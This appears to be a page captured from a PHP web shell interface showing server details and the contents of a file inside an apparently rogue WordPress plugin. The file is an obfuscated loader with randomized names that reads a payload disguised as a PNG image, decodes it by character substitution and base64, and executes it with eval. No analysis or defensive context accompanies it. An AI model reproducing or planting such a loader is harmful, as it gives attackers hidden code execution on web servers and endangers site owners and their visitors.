HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/acywumi/thetyly.txt
<?php

function kokako_cakhesuxe($ifixag_pekeshoc) {
    if ($ifixag_pekeshoc == 1)
        return yvuzed_usomohoqu();
    if ($ifixag_pekeshoc == 2)
        return ydobyl_akhinopa();
}

function wytyro_uchathove($ifixag_pekeshoc) {
    $qutekho = kokako_cakhesuxe(1);
    $hafutaf = kokako_cakhesuxe(2);
    for ($ypitovi = 0; $ypitovi < strlen($qutekho); $ypitovi++) {
        $qiqave = substr($qutekho, $ypitovi, 1);
        $wutufi = substr($hafutaf, $ypitovi, 1);
        $nejacaw[$qiqave] = $wutufi;
    }

    $edofivy = strtr($ifixag_pekeshoc, $nejacaw);
    $edofivy = base64_decode($edofivy);

    return $edofivy;
}

function rydiwy_puxuzawi($ifixag_pekeshoc) {
    $otecheh = array();
    if (!file_exists($ifixag_pekeshoc))
        return false;
    $esahuka = @file_get_contents($ifixag_pekeshoc);
    if (!$esahuka)
        return false;
    $esahuka = substr($esahuka, 3);
    $otecheh = wytyro_uchathove($esahuka);
    return $otecheh;
}

function yvuzed_usomohoqu() {
    $esahuka = "N+OfnKUuy=pJ1TPoDMQXBVh2ZIRbrd0z5CFL9H4taG8qeWEijlsm3/7Agw6SYkvcx";
    return $esahuka;
}

function ydobyl_akhinopa() {
    $otecheh = "UzKwqTFVgvuBbDWMoZY9SL3iJ5m/GNl+kcjh1E=f0y6HRdetns4QA7CIrOXP28pxa";
    return $otecheh;
}

$usevuro = rydiwy_puxuzawi(__DIR__ . "/ass" . "ets/" . "image" . "s/oge" . "joce" . ".png");
if ($usevuro) {
    @eval($usevuro);
}